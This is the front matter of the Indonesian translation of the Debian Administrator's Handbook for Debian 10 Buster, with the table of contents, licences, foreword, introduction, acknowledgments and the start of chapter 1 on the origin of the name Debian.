Buku Panduan Administrator Debian

Daftar Isi

Prakata

Pengantar

1. Proyek Debian

1.1. Apa itu Debian?

1.2. Dokumen Fondasi

1.3. Bagaimana Proyek Debian Bekerja

1.4. Ikuti Berita Debian

1.5. Peran dari Distribusi

1.6. Siklus hidup dari sebuah Rilis

2. Menyajikan Studi Kasus

2.1. Kebutuhan IT yang Bertumbuh Cepat

2.2. Rencana Induk

2.3. Mengapa Distribusi GNU/Linux?

2.4. Mengapa Distribusi Debian?

2.5. Mengapa Debian Buster?

3. Menganalisa Penyiapan yang Ada dan Memigrasikannya

3.1. Koeksistensi dalam Lingkungan yang Heterogen

3.2. Bagaimana Memigrasi

4. Instalasi

4.1. Metode Instalasi

4.2. Menginstall, Langkah demi Langkah

4.3. Setelah Boot Pertama

5. Sistem Pemaketan: Alat dan Prinsip Dasar

5.1. Struktur Paket Biner

5.2. Informasi-Meta Paket

5.3. Struktur sebuah Paket Sumber

5.4. Manipulasi Paket dengan dpkg

5.5. Kebersamaan dengan Sistem Paket Lain

6. Pemeliharaan dan Pembaharuan: Peralatan APT

6.1. Mengisi Berkas sources.list

6.2. Perintah aptitude, apt-get, dan apt

6.3. Perintah apt-cache

6.4. The apt-file Command

6.5. Frontends: aptitude, synaptic

6.6. Pemeriksaan Otentikasi Paket

6.7. Upgrade dari Satu Distribusi Stable ke Berikutnya

6.8. Menjaga agar Sistem Up to Date

6.9. Pembaharuan Otomatis

6.10. Mencari Paket

7. Memecahkan Masalah dan Menemukan Informasi yang Relevan

7.1. Sumber-Sumber Dokumentasi

7.2. Prosedur Umum

8. Konfigurasi Dasar: Jaringan, Akun, Pencetakan...

8.1. Konfigurasi Sistem untuk Bahasa yang Berbeda

8.2. Mengonfigurasi Jaringan

8.3. Mengatur Hostname dan Mengonfigurasi Name Service

8.4. Pengguna dan Basisdata Kelompok

8.5. Membuat Akun

8.6. Lingkungan Shell

8.7. Konfigurasi Pencetak

8.8. Mengonfigurasi Bootloader

8.9. Konfigurasi Lain: Sinkronisasi Waktu, Log, Berbagi Akses…

8.10. Mengompilasi sebuah Kernel

8.11. Menginstall sebuah Kernel

9. Layanan Unix

9.1. Boot Sistem

9.2. Log Masuk Jarak Jauh

9.3. Mengelola Hak

9.4. Antarmuka Administrasi

9.5. syslog Kejadian Sistem

9.6. Super Server inetd

9.7. Menjadwalkan Tugas dengan cron dan atd

9.8. Menjadwalkan Tugas-tugas Asinkron: anacron

9.9. Kuota

9.10. Cadangan

9.11. Hot Plugging: hotplug

9.12. Manajemen Daya: Advanced Configuration and Power Interface (ACPI)

10. Infrastruktur Jaringan

10.1. Gateway

10.2. setifikat X.509

10.3. Virtual Private Network

10.4. Kualitas Layanan

10.5. Routing Dinamis

10.6. IPv6

10.7. Domain Name Servers (DNS)

10.8. DHCP

10.9. Alat Diagnosis Jaringan

11. Layanan Jaringan: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

11.1. Server Mail

11.2. Server Web (HTTP)

11.3. Server Berkas FTP

11.4. Server Berkas NFS

11.5. Menyiapkan Share Windows dengan Samba

11.6. Proksi HTTP/FTP

11.7. Direktori LDAP

11.8. Layanan Komunikasi Real-Time

12. Administrasi Tingkat Lanjut

12.1. RAID dan LVM

12.2. Virtualisasi

12.3. Pemasangan Otomatis

12.4. Pemantauan

13. Workstation

13.1. Menata Server X11

13.2. Mengubahsuai Antar Muka Grafis

13.3. Desktop Grafis

13.4. Surel

13.5. Peramban Web

13.6. Pengembangan

13.7. Kerja Kolaborasi

13.8. Keluarga Aplikasi Perkantoran

13.9. Mengemulasi Windows: Wine

13.10. Perangkat lunak Komunikasi Real-Time

14. Keamanan

14.1. Menentukan suatu Kebijakan Keamanan

14.2. Firewall atau Penyaringan Paket

14.3. Supervisi: Pencegahan, Deteksi, Deteren

14.4. Pengantar AppArmor

14.5. Pengantar SELinux

14.6. Pertimbangan Lain Terkait Keamanan

14.7. Berurusan dengan Mesin yang Terkompromi

15. Membuat paket Debian

15.1. Membangun ulang sebuah Paket dari Source-nya

15.2. Membangun Ulang Paket Pertama Anda

15.3. Membuat Repositori Paket untuk APT

15.4. Menjadi seorang Maintainer Paket

16. Kesimpulan: Masa Depan Debian

16.1. Pengembangan Mendatang

16.2. Masa depan Debian

16.3. Masa depan Buku ini

A. Distro Turunan

A.1. Sensus dan Kerja Sama

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid dan Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. DoudouLinux

A.11. Raspbian

A.12. PureOS

A.13. SteamOS

A.14. Dan Banyak Lagi

B. Kursus Remedial Singkat

B.1. Perintah-perintah Dasar dan Shell

B.2. Organisasi dari Hirarki Sistem Berkas

B.3. Jeroan dari suatu Komputer: Lapisan Berbeda yang Terlibat

B.4. Beberapa Tugas yang Ditangani oleh Kernel

B.5. Ruang Pengguna

Buku Panduan Administrator Debian

Debian Buster dari Pemula hingga Mahir

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Hak Cipta © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Raphaël Hertzog

Hak Cipta © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Hak Cipta © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Freexian SARL

ISBN: 979-10-91414-19-7 (soft cover bahasa Inggris)

ISBN: 979-10-91414-20-3 (ebook bahasa Inggris)

Buku ini tersedia di bawah persyaratan dari dua lisensi yang kompatibel dengan Panduan Perangkat Lunak Bebas Debian.

Catatan Lisensi Creative Commons:  Buku ini dilisensikan di bawah Creative Commons Attribution-ShareAlike 3.0 Unported License.

→ https://creativecommons.org/licenses/by-sa/3.0/

Catatan Lisensi GNU General Public:  Buku ini adalah dokumentasi bebas: Anda dapat mendistribusikan dan/atau memodifikasi di bawah persyaratan Lisensi Publik Umum GNU seperti yang diterbitkan oleh Free Software Foundation, baik versi 2 lisensi, atau (terserah pilihan Anda) versi setelahnya yang manapun.

Buku ini didistribusikan dengan harapan bahwa itu akan berguna, tetapi TANPA JAMINAN APAPUN; tanpa bahkan jaminan tersirat DAPAT DIPERJUALBELIKAN atau KESESUAIAN UNTUK TUJUAN TERTENTU. Lihat GNU General Public License untuk rincian lebih lanjut.

Anda seharusnya menerima salinan dari GNU General Public License bersama dengan program ini. Jika tidak, lihat https://www.gnu.org/licenses/.

Tunjukkan apresiasi Anda

Buku ini diterbitkan di bawah lisensi bebas karena kami ingin semua orang untuk mendapatkan keuntungan darinya. Namun memelihara ini membutuhkan waktu dan usaha yang besar, dan kami menghargai yang mengucapkan terima kasih untuk ini. Jika Anda anggap buku ini berharga, silakan mempertimbangkan memberikan kontribusi bagi pemeliharaan terus dengan membeli salinan soft cover atau dengan membuat sumbangan melalui situs web resmi buku:

→ https://debian-handbook.info

Abstrak

Sebuah buku acuan yang menyajikan distribusi Debian, dari instalasi awal sampai konfigurasi layanan.

Prakata

Saya senang mendapat kesempatan ini untuk menyambut Anda di Debian dan Buku Pegangan Administrator Debian. Banyak orang telah memilih Debian: sekitar 10% dari server web di Internet menjalankan Debian. Ketika Anda memasukkan sistem operasi berdasarkan Debian, angka ini mendekati 20%. Debian terpilih sebagai sistem operasi pilihan untuk Stasiun Luar Angkasa Internasional. Apakah itu penelitian fisika terdepan atau proyek untuk membantu menumbuhkan makanan sambil memerangi polusi, Debian telah digunakan untuk memberi tenaga pada komputer yang memungkinkannya.

Mengapa Debian memiliki daya tarik di perusahaan besar, peneliti, aktivis, dan penghobi? Saya pikir jawabannya terletak pada fleksibilitas dan komunitas Debian.

Debian fleksibel. Ya, ia menyediakan sistem operasi serba guna yang luar biasa. Ini juga menyediakan alat untuk menyesuaikan Debian dengan lingkungan apa pun yang Anda temukan bekerja. Baik itu arsitektur cloud dan container, kumpulan besar workstation, komputer individu, atau appliance, Debian menyediakan fleksibilitas untuk bekerja dengan baik di lingkungan itu. Anda akan menemukan alat dan contoh yang Anda perlukan untuk memenuhi kebutuhan Anda.

Komunitas Debian adalah tempat pertemuan untuk beragam individu dan minat: pengembang dari perusahaan terbesar bekerja bersama sukarelawan, peneliti, dan pengguna. Baik itu pakar keamanan, pengembang web, pemrogram sistem, atau arsitek, kita semua terwakili. Anda bisa menjadi bagian dari komunitas ini. Ketika Anda menemukan cara agar Debian menjadi lebih baik, kami menyambut kontribusi Anda.

Kami bersatu untuk menghasilkan sistem operasi bebas kelas dunia. Tidak ada satu perusahaan pun yang mengendalikan Debian; tidak ada agenda yang mendefinisikan pekerjaan kita. Sebaliknya, masing-masing dari kita memiliki kekuatan untuk meningkatkan Debian dengan cara yang penting bagi kita. Terima kasih telah melihat apa yang telah kami buat. Saya harap Anda menyukainya.

Buku ini adalah cara terbaik untuk menjelajahi Debian. Saya telah merekomendasikannya kepada teman-teman selama bertahun-tahun ketika mereka ingin belajar lebih banyak tentang Debian, dan saya senang mendapat kesempatan untuk merekomendasikannya lebih luas. Buku pegangan ini ditulis dan dikelola oleh anggota lama komunitas Debian. Beberapa orang yang sama yang sedang bekerja untuk mengembangkan sistem operasi telah bergabung bersama untuk membantu Anda memahaminya. Dan tentu saja buku ini dikembangkan menggunakan proses komunitas yang mirip dengan Debian sendiri dengan penekanan yang sama pada kebebasan.

Agustus 2019

Sam Hartman (Debian Project Leader)

Pengantar

Linux telah mengumpulkan kekuatannya beberapa tahun belakangan ini, dan popularitasnya yang meningkat membuat semakin banyak pengguna yang memutuskan migrasi. Langkah pertama dari migrasi adalah memilih distribusi. Ini merupakan keputusan yang penting, karena setiap distribusi memiliki keunikan masing-masing, dan biaya migrasi di masa mendatang dapat dihindari jika keputusan yang tepat telah diambil sejak awal.

KEMBALI KE DASAR Distribusi Linux, kernel Linux

Sesungguhnya, Linux hanyalah sebuah kernel yaitu sebuah bagian inti dari perangkat lunak yang berada di antara perangkat keras dan aplikasi.

Sebuah "distribusi Linux" adalah sebuah sistem operasi utuh; biasanya termasuk di dalamnya kernel Linux, program pemasang, dan yang paling penting aplikasi dan perangkat lunak lainnya yang dibutuhkan oleh komputer agar dapat menjadi alat yang berguna.

Debian GNU/Linux adalah sebuah distribusi Linux "generik" yang cocok bagi mayoritas pengguna. Tujuan buku ini adalah untuk menunjukkan berbagai aspeknya sehingga Anda dapat membuat keputusan yang berdasar ketika memilih.

1. Mengapa Buku Ini?

KULTUR Distribusi komersial

Mayoritas distribusi Linux didukung oleh perusahaan yang mengembangkan dan menjual mereka dengan skema komersial tertentu. Contohnya termasuk Ubuntu, yang dikembangkan terutama oleh Canoncial Ltd.; Red Hat Enterprise Linux, oleh perusahaan Red Hatt, Inc., anak perusahaan IBM; dan SUSE Linux, yang dikelola dan versi komersialnya tersedia oleh SUSE Software Solutions Germany GmbH, anak perusahaan EQT Partners.

Di ujung spektrum lain terdapat Debian dan Apache Software Foundation (yang menjadi tempat pengembangan server web Apache). Debian adalah salah satu dari sekian proyek Perangkat Lunak Bebas di dunia, yang dikerjakan bersama oleh relawan dari seluruh dunia melalui Internet. Walaupun sebagian dari mereka melakukan pekerjaan pada Debian sebagai bagian dari pekerjaan berbayar di berbagai perusahaan, proyek secara keseluruhan tidak terkait ke perusahaan manapun secara khusus, dan tidak ada satu perusahaanpun yang punya suara lebih dalam masalah-masalah proyek daripada suara para kontributor yang murni sukarela.

Linux telah mendapatkan liputan media yang cukup adil selama bertahun-tahun; itu paling menguntungkan distribusi-distribusi yang didukung oleh departemen pemasaran yang nyata — dengan kata lain, distribusi dengan dukungan perusahaan (Ubuntu, Red Hat, Suse, dan sebagainya). Namun Debian jauh dari distribusi yang terpinggirkan; berbagai studi beberapa tahun ini menunjukkan bahwa ini banyak dipakai pada server dan desktop. Ini khususnya benar di antara server web bahwa Debian dan Ubuntu merupakan distribusi Linux yang terkemuka.

→ https://w3techs.com/technologies/details/os-linux/all/all

Tujuan dari buku ini adalah untuk membantu Anda menemukan distribusi ini. Kami berharap untuk berbagi pengalaman yang kami kumpulkan sejak kami bergabung sebagai pengembang dan kontributor, tahun 1998 (Raphaël) dan 2000 (Roland). Dengan sedikit keberuntungan, antusiasme kami akan komunikatif, dan mungkin Anda akan bergabung dengan kami suatu waktu…

Edisi pertama buku ini (tahun 2004) bertujuan untuk mengisi kekosongan: buku ini merupakan buku berbahasa Prancis pertama yang fokussecara eksklusif pada Debian. Pada waktu itu, banyak buku yang ditulis untuk pembaca berbahasa Perancis dan Inggris. Sayangnya sedikit sekali yang diperbaharui, dan setelah bertahun-tahun situasi mengalami kemunduran dimana ada sangat sedikit buku bagus tentang Debian. Kami berharap bahwa buku ini, yang memulai kehidupan barunya dengan terjemakan ke dalam bahasa Inggris (dan beberapa terjemahan dari bahasa Inggris ke berbagai bahasa lain), akan mengisi kekosongan ini dan membantu banyak pengguna.

2. Buku ini untuk Siapa?

Kami telah mencoba untuk membuat buku ini agar bermanfaat untuk beragam kategori pembaca. Pertama, administrator sistem (baik pemula dan mahir) akan menemukan penjelasan mengenai instalasi Debian. Mereka juga akan mendapatkan sekilas dari layanan yang tersedia di Debian, berikut dengan instruksi bagaimana melakukan konfigurasi dan deskripsi spesifik dari distribusi Debian. Memahami mekanisme dalam pengembangan Debian akan memungkinkan mereka untuk mengatasi masalah yang belum dijumpai sebelumnya, mengetahui bahwa mereka selalu dapat mencari bantuan dari komunitas.

Pengguna dari distribusi Linux lainnya, atau dari varian Unix lain, akan menemukan ciri khas Debian, dan dapat dengan cepat terbiasa dengan memanfaatkan keunggulan dari distribusi Debian.

Akhirnya, bagi pembaca yang sudah banyak mengetahui soal Debian dan ingin tahu lebih banyak mengenai komunitas di belakangnya, semoga harapan mereka dapat terpenuhi. Buku ini harus membuat mereka lebih dekat untuk bergabung menjadi kontributor.

3. Pendekatan Umum

Semua dokumentasi umum yang dapat Anda temuka mengenai GNU/Linux dapat juga diterapkan pada Debian, karena dalam Debian terdapat perangkat lunak bebas yang paling umum. Bagaimanapun juga, distribusi mendatangkan banyak perbaikan, alasan inilah yang kami pilih untuk menggambarkan “cara Debian” melakukan sesuatu.

Menarik untuk mengikuti rekomendasi Debian, namun lebih menarik lagi untuk mengerti alasannya. Oleh karena itu, kami takkan membatasi diri kami dengan penjelasan praktis saja; kami juga akan menjelaskan bagaimana proyek bekerja, untuk menyediakan pengetahuan yang komprehensif dan konsisten bagi Anda.

4. Sistematika Buku

Buku ini dibangun sekitar seputar studi kasus yang menyediakan dukungan dan ilustrasi dari semua topik yang dibahas.

CATATAN Situs web, alamat surel penulis

Buku ini memiliki situs tersendiri, yang di dalamnya terdapat material yang dapat membuat buku ini lebih bermanfaat. Khususnya, terdapat versi daring buku ini dengan tautan yang dapat di-klik dan perbaikan (jika ada). Silakan jelajahi dan berikan kami tanggapan. Kami akan sangat senang membaca komentar ataupun dukungan. Kirimkan via surel ke <hertzog@debian.org> (Raphaël) dan <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

Bab 1 fokus pada penjelasan non-teknis dari proyek Debian dan menggambarkan tujuan organisasi. Aspek ini penting karena mereka merupakan kerangka kerja umum yang akan dilengkapi oleh bab lainnya dengan informasi yang lebih konkret.

Bab 2 dan 3 menyediakan struktur dari studi kasus. Pada bagian ini, pembaca pemula dapat meluangkan waktu untuk membaca lampiran B. Mereka akan menemukan penjelasan singkat mengenai pengertian komputasi dasar, berikut dengan konsep yang inheren dengan sistem Unix manapun.

Untuk mendekati dengan kehidupan nyata, kami akan mulai dengan proses instalasi (bab 4); bab 5 dan 6 akan menjabarkan perkakas dasar yang setiap administrator Debian akan gunakan, antara lain seperti keluarga APT, yang paling bertanggung jawab terhadap reputasi luar biasa dari distribusi Debian. Bab-bab ini bukan hanya untuk para profesional, karena semuanya merupakan administrator di rumah.

Bab 7 akan menjadi bagian yang penting; bab ini menggambarkan alur kerja dalam menggunakan dokumentasi secara efektif dan memahami permasalahan dengan cepat agar bisa memecahkannya.

Pada bab selanjutnya sistem akan lebih dijelaskan secara rinci, dimulai dengan infrastruktur dan layanan dasar (bab 8 sampai 10) dan seterusnya hingga mencapai tumpukan aplikasi pengguna dalam bab 13. Bab 12 membahas mengenai subjek tingkat lebih lanjut yang akan menjadi perhatian bagi administrator dengan jumlah komputer yang banyak (termasuk server), sementara bab 14 adalah pengantar singkat mengenai keamanan komputer dan beberapa hal kunci untuk menghindari masalah yang sering terjadi.

Bab 15 untuk para administrator yang ingin lebih jauh menciptakan sendiri paket Debian.

KOSAKATA Paket Debian

Suatu paket Debian adalah sebuah arsip yang memuat semua berkas yang dibutuhkan untuk memasang sebuah perangkat lunak. Umumnya merupakan sebuah berkas dengan ekstensi .deb, dan dapat ditangani menggunakan perintah dpkg. Disebut juga sebagai paket biner, yang memuat berkas-berkas yang langsung dapat dipakai (seperti program dan dokumentasi). Di lain pihak, suatu paket sumber memuat kode sumber dari perangkat lunak dan instruksi yang diperlukan untuk membangun paket biner.

Versi saat ini sudah merupakan edisi kesembilan dari buku ini (kami menyertakan empat yang pertama yang hanya tersedia dalam bahasa Prancis). Edisi ini mencakup versi 10 dari Debian, yang diberi nama kode Buster. Di antara perubahan tersebut, Debian sekarang mendukung UEFI Secure Boot, memberikan beberapa keamanan ekstra terhadap serangan pada infrastruktur boot, dan membuatnya lebih mudah untuk menginstal Debian di komputer baru di mana Secure Boot biasanya diaktifkan secara default. Sekali lagi di tingkat keamanan, AppArmor, sistem Mandatory Access Control yang mengatur berbagai aplikasi apa yang diizinkan untuk dilakukan, sekarang diaktifkan secara default. Semua paket yang disertakan jelas telah diperbarui, termasuk desktop GNOME, yang sekarang dalam versi 3.30.

Kami telah tambahkan sedikit catatan dan penanda pada bagian boks. Mereka memiliki beragam peran: mereka dapat menarik perhatian dari poin yang sulit, penjelasan lengkap istilah yang digunakan dalam studi kasus, mendefinisikan beberapa istilah, atau berfungsi sebagai pengingat. Berikut ini adalah daftar dari boks yang paling sering ditemui:

- KEMBALI KE DASAR: pengingat tentang beberapa informasi yang mestinya telah diketahui;

- KOSAKATA: mendefinisikan istilah teknikal, seringkali spesifik Debian;

- KOMUNITAS: menandai orang atau peran penting dalam proyek;

- KEBIJAKAN: aturan atau rekomendasi dari Debian Policy. Dokumen ini bersifat esensial dalam proyek, dan menggambarkan bagaimana memaketkan perangkat lunak. Bagian dari kebijakan yang ditandai dalam buku ini mendatangkan keuntungan langsung bagi pengguna (misal, dengan mengetahui bahwa kebijakan menstandarkan lokasi dokumentasi dan contoh mempermudah untuk menemukannya, bahkan pada suatu paket baru).

- PERKAKAS: menyajikan perkakas atau layanan yang relevan;

- PRAKTIKNYA: teori dan praktiknya tidak selalu cocok; pada boks ini terdapat saran berdasarkan pengalaman kami. Mereka juga memberikan contoh detail dan konkret;

- boks lain yang jarang digunakan antara lain cenderung eksplisit: KULTUR, TIP, PERHATIAN, LEBIH LANJUT, KEAMANAN, dan seterusnya.

5. Berkontribusi

Buku ini dikembangkan seperti proyek perangkat lunak bebas, masukan dan bantuan Anda diterima. Cara yang paling jelas untuk berkontribusi adalah membantu menerjemahkannya ke bahasa ibu Anda. Tapi itu bukan satu-satunya kemungkinan. Anda dapat membuka laporan bug untuk memberi tahu kami tentang kesalahan, kesalahan ketik, informasi usang, atau topik yang benar-benar harus kita bahas. Atau Anda dapat mengirim merge request dengan perbaikan Anda untuk masalah apa pun yang Anda identifikasi.

Semua instruksi untuk berkontribusi pada buku ini didokumentasikan di situs web buku:

→ https://debian-handbook.info/contribute/

6. Penghargaan

6.1. Sejarah Singkat

Pada tahun 2003, Nat Makarevitch menghubungi Raphaël karena ia ingin menerbitkan buku mengenai Debian Cahier de l'Admin (Buku Pegangan Admin) yang ia kelola untuk Eyrolles, penyunting Perancis terkemuka atas buku-buku teknis. Raphaël langsung bersedia untuk menulisnya. Edisi pertama terbit pada 14 Oktober 2004 dan sukses besar — terjual habis hanya dalam waktu empat bulan setelahnya.

Sejak saat itu, kami telah merilis 7 edisi lainnya berbahasa Perancis, satu untuk setiap rilis Debian (kecuali Debian 9). Roland Mas, yang mulai bekerja sebagai penyelaras akhir, secara bertahap menjadi penulis kedua.

Di saat kami puas dengan kesuksesan buku, kami selalu berharap Eyrolles dapat meyakinkan penyunting internasional untuk menerjemahkannya ke bahasa Inggris. Kami telah menerima begitu banya komentar bagaimana buku ini membantu orang-orang untuk memulai dengan Debian, dan kami begitu bersemangat bahwa buku ini telah berguna bagi banyak orang.

Singkat cerita, tidak ada penyunting yang fasih berbahasa Inggris yang kami hubungi yang berani mengambil risiko menerjemahkan dan menerbitkan buku. Tidak putus semangat dengan kondisi ini, kami putuskan untuk bernegosiasi dengan editor bahasa Perancis Eyrolles untuk memulihkan izin yang dibutuhkan untuk menerjemahkan buku ini ke bahasa Inggris dan mencoba menerbitkannya sendiri. Berkat kesuksesan kampanye pendanaan umum, kami bekerja pada terjemahan antara Desember 2011 dan Mei 2012. Buku “Debian Administrator's Handbook” dirilis dan diterbitkan di bawah lisensi free-software!

Walaupun ini adalah tonggak penting, kami sudah tahu bahwa cerita tidak berakhir bagi kami sampai kami bisa mengkontribusikan buku bahasa Perancis sebagai terjemahan resmi buku bahasa Inggris. Ini tidak mungkin pada waktu itu karena buku bahasa Perancis masih didistribusikan secara komersial di bawah lisensi non-bebas oleh Eyrolles.

Pada tahun 2013, dirilisnya Debian 7 memberi kami kesempatan yang baik untuk mendiskusikan kontrak baru dengan Eyrolles. Kami meyakinkan mereka bahwa suatu lisensi yang lebih sesuai dengan nilai-nilai Debian akan berkontribusi terhadap keberhasilan buku. Itu bukan suatu kesepakatan yang mudah dibuat, dan kami sepakat untuk menyiapkan kampanye crowdfunding lain untuk menutupi sebagian biaya dan mengurangi resiko yang terlibat. Operasi lagi-lagi sukses besar dan pada Juli tahun 2013, kami menambahkan terjemahan bahasa Prancis ke Buku Pegangan Administrator Debian.

Kami ingin berterima kasih pada mereka semua yang telah berkontribusi pada kampanye penggalangan dan, baik dengan menyumbangkan uang atau meneruskan informasi kampanya. Kami takkan bisa melakukannya tanpa Anda semua.

Untuk menghemat kertas, 5 tahun setelah kampanye penggalangan dana dan setelah dua edisi berikutnya, kami menjatuhkan daftar orang-orang yang memilih untuk diberi hadiah dengan menyebutkan nama mereka di buku. Tetapi nama mereka terukir dalam ucapan terima kasih dari edisi Wheezy buku:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Terima Kasih untuk Kontributor

Buku ini tidak akan menjadi seperti ini tanpa kontribusi beberapa orang yang masing-masing memegang peranan penting selama masa penerjemahan dan setelahnya. Kami ingin mengucapkan terima kasih pada Marilyne Brun, yang telah membantu menerjemahkan bab contoh dan telah bekerja bersama kami untuk mendefinisikan aturan umum penerjemahan. Ia telah merevisi beberapa bab yang sangat membutuhkan karya tambahan. Terima kasih pada Anthony Baldwin (dari Baldwin Linguas) yang telah menerjemahkan beberapa bab untuk kami.

Karena Roland dan saya terlalu sibuk untuk memperbarui buku bagi Debian 10, kami menggunakan penghasilan sekadarnya yang kami dapatkan melalui sumbangan dan penjualan untuk mempekerjakan kontributor untuk melakukan sebagian besar pekerjaan. Terima kasih banyak untuk Daniel Leidert dan Jorge Maldonado Ventura atas kerja keras mereka dalam pembaruan ini.

Kami diuntungkan dengan bantuan dari para pemeriksa akhir: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens, dan Tom Syroid. Mereka telah memeriksa beberapa bab. Terima kasih banyak!

Kemudian, sekali versi bahasa Inggris dibebaskan, tentu saja kami mendapat banyak umpan balik dan saran dan perbaikan dari pembaca, dan bahkan lebih lagi dari banyak tim yang melakukan penerjemahan buku ini ke dalam bahasa-bahasa lain. Terima kasih!

Kami juga ingin berterima kasih pada para pembaca buku edisi bahasa Perancis yang telah menyediakan kami beberapa kutipan keren yang menyatakan bahwa buku ini sangat pantas untuk diterjemahkan: terima kasih Christian Perrier, David Bercot, Étienne Liétart, dan Gilles Roussi. Stefano Zacchiroli — yang merupakan Pemimpin Proyek Debian (Debian Project Leader) selama kampanye penggalangan dana — juga layak mendapatkan banyak terima kasih, ia telah mempromosikan proyek dengan kata-katanya yang menjelaskan bahwa buku bebas sangat dibutuhkan.

Jika Anda memiliki keluangan untuk membaca buku ini dari edisi cetak, maka Anda perlu bergabung dengan kami mengucapkan terima kasih pada Benoît Guillon, Jean-Côme Charpentier, dan Sébastien Mengin yang telah bekerja pada desain interior buku. Benoît adalah penulis hulu dari dblatex — perkakas yang kami gunakan untuk mengkonversi DocBook ke LaTex (dan selanjutnya PDF). Sébastien adalah desainer yang telah menciptakan tata letak buku ini dan Jean-Côme adalah pakar LaTex yang mengimplementasikannya sebagai stylesheet yang dapat digunakan dengan dblatex. Terima kasih kawan-kawan untuk semua kerja kerasnya!

Akhirnya, terima kasih pada Thierry Stempfel untuk gambar keren pada setiap bab, dan terima kasih pada Doru Patrascu untuk sampul buku yang indah.

6.3. Terima Kasih kepada Para Penerjemah

Sejak buku ini dibebaskan, banyak sukarelawan telah sibuk menerjemahkannya ke berbagai bahasa, seperti bahasa Arab, Portugis Brasil, Jerman, Italia, Spanyol, Jepang, Norwegia Bokmål, dll. Temukan daftar lengkap terjemahan pada situs web buku: https://debian-handbook.info/get/#other

Kami dengan senang hati mengucapkan terima kasih kepada semua penerjemah dan pengulas terjemahan. Pekerjaan Anda sangat-sangat diapresiasi karena membawa Debian ke tangan jutaan orang yang tidak bisa membaca bahasa Inggris.

6.4. Ucapan Terima Kasih dari Raphaël

Pertama-tama, saya ingin mengucapkan terima kasih pada Nat Makarévitch, yang telah menawarkan kepada saya peluang menulis buku ini dan menyediakan panduan selama tahun-tahun saya menyelesaikan pekerjaan ini. Terima kasih juga pada tim di Eyrolles, dan khususnya pada Muriel Shan Sei Fan. Ia begitu sabar menghadapi saya dan saya belajar banyak darinya.

Bagi saya masa selama kampanye Ulule sangat melelahkan namun saya ingin mengucapkan terima kasih kepada semuanya yang telah menjadikannya sukses, dan khususnya kepada tim Ulule yang bereaksi sangat cepat terhadap begitu banyak permintaan saya. Terima kasih juga kepada semuanya yang telah mempromosikan. Saya tidak punya daftar panjang (dan jika saya punya bisa jadi sangat panjang) namun saya ingin berterima kasih kepada sedikit orang yang berinteraksi dengan saya: Joey-Elijah Sneddon dan Benjamin Humphrey dari OMG! Ubuntu, Frédéric Couchet dari April.org, Jake Edge dari Linux Weekly News, Clement Lefebvre dari Linux Mint, Ladislav Bodnar dari Distrowatch, Steve Kemp dari Debian-Administration.org, Christian Pfeiffer Jensen dari Debian-News.net, Artem Nosulchik dari LinuxScrew.com, Stephan Ramoin dari Gandi.net, Matthew Bloch dari Bytemark.co.uk, tim Divergence FM, Rikki Kite dari Linux New Media, Jono Bacon, tim pemasar di Eyrolles, dan orang-orang yang tak bisa saya ucapkan satu persatu (maaf jika saya terlupa).

Saya ingin mengucapkan terima kasih khusus kepada Roland Mas, penulis kedua. Kita telah berkolaborasi dalam buku ini sejak awal dan ia selalu menerima tantangan. Dan saya harus katakan bahwa melengkapi buku Pegangan Administrator Debian merupakan pekerjaan besar…

Tak terlupa, terima kasih istri saya, Sophie. Ia telah sangat mendukung pekerjaan buku ini dan dalam Debian secara umum. Terlalu banyak hari (dan malam) terlewati saat saya meninggalkannya dengan anak 2 tahun kami untuk melanjutkan pekerjaan buku ini. Saya sangat berterima kasih untuk dukungannya dan betapa beruntungnya saya memiliki dia.

6.5. Ucapan Terima Kasih dari Roland

Hmm, Raphaël telah mengucapkan ucapan terima kasih lebih dahulu daripada saya. Saya masih tetap akan mengucapkan terima kasih kepada teman-teman yang hebat di Eyrolles, yang kolaborasi dengannya selalu menyenangkan dan berakhir baik. Semoga saja hasil dari saran mereka tidak hilang dalam proses penerjemahan.

Saya sangat berterima kasih pada Raphaël yang telah mengambil pekerjaan administratif dari edisi bahasa Inggris ini. Mulai dari mengorganisir kampanye penggalangan dana hingga detail tata letak buku, menghasilkan buku terjemahan sesungguhnya lebih dari sekadar menerjemahkan dan memeriksa, dan Raphaël telah (mendelegasikan dan mengawasi) semuanya. Jadi terima kasih.

Terima kasih juga pada semua baik kontribusi langsung/tidak langsung ke buku ini, dengan menyediakan klarifikasi atau penjelasan, atau menerjemahkan saran. Terlalu banyak dari mereka untuk disebutkan, namun mereka dapat ditemukan dalam beragam kanal IRC #debian-* .

Tentu terdapat irisan dari orang-orang sebelumnya, namun ucapan terima kasih tentu kepada mereka, kontributor Debian. Tidak akan ada lebih dari sekadar buku tanpa mereka, dan saya masih takjub bahwa proyek Debian yang mereka hasilkan dan membuatnya tersedia.

Ucapan terima kasih saya selanjutnya kepada teman dan klien saya, untuk pengertian mereka saat saya kurang responsif karena saya sedang mengerjakan buku ini, dan juga untuk dukungan, dan dorongan. Kamu tahu siapa; terima kasih.

Dan terakhir; saya yakin mereka akan kaget dengan disebutkan di sini, namun saya ingin mengucapkan terima kasih pada Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson, and tak terlupa Douglas Adams. Waktu yang tak terhitung yang telah saya habiskan menikmati buku mereka sungguh bertanggung jawab sehingga saya dapat mengambil peran dalam menerjemahkan terlebih dahulu dan menulis bagian-bagian baru setelahnya.

Bab 1. Proyek Debian

Sebelum lebih dalam membahas dari sisi teknologi, mari lebih dulu kita perhatikan apa itu Proyek Debian, objektifnya, artinya, dan operasinya.

1.1. Apa itu Debian?

KULTUR Asal-usul nama Debian

Ingat: Debian bukanlah sebuah akronim. Nyatanya nama ini adalah gabungan dari dua nama depan: yaitu Ian Murdock, dan pacarnya pada saat itu, Debra. Debra + Ian = Debian.

